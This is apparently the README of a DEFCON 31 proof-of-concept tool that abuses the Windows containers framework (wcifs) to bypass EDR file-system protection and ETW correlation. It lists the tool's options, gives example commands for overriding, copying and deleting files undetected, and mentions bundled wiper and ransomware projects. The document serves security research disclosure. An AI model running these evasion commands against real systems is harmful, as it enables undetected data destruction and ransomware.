A PoC of the ContainYourself research, presented on DEFCON 31. This tool abuses the Windows containers framework to bypass EDR file-system-based malware protection, file write restrictions, and ETW-based correlations.
This repo contains a static library that implements the research findings, a PoC tool that utilizes the library, and a wiper & ransomware projects.
Make sure to clone the repository and its submodules:
git clone --recursive [email protected]:deepinstinct/ContainYourself.git
Usage: ContainYourselfPoc.exe [--command]
Valid commands:
--set-reparse [override|link] - Set wcifs reparse tag
--remove-reparse [override|link] - Remove wcifs reparse tag
--override-file - override a file using wcifs
--copy-file - Copy a file using wcifs
--delete-file - Delete a file using wcifs
--create-process - Create process from an image file path using NtCreateUserProcess
Commands arguments:
--source-file - operation full source file (relative to volume only when using with [--copy-file])
--target-file - operation target file (relative to volume)
--source-volume - operation source volume, without a trailing backslash (default is C:)
--target-volume - operation target volume, without a trailing backslash (default is C:)
Examples:
ContainYourselfPoc.exe --set-reparse override --source-file C:\temp\calc.exe --target-file \temp\malware.exe
ContainYourselfPoc.exe --remove-reparse --source-file C:\temp\calc.exe
ContainYourselfPoc.exe --override-file --source-file C:\temp\calc.exe
ContainYourselfPoc.exe --copy-file --source-file temp\document.docx --target-file Documents\document.docx --target-volume E:
ContainYourselfPoc.exe --delete-file --source-file C:\temp\document.docx
Every security product has the capability to incorporate its unique algorithm designed to counter ransomware and wiper threats. It cannot be guaranteed that this proof-of-concept will successfully circumvent every existing protection solution available.
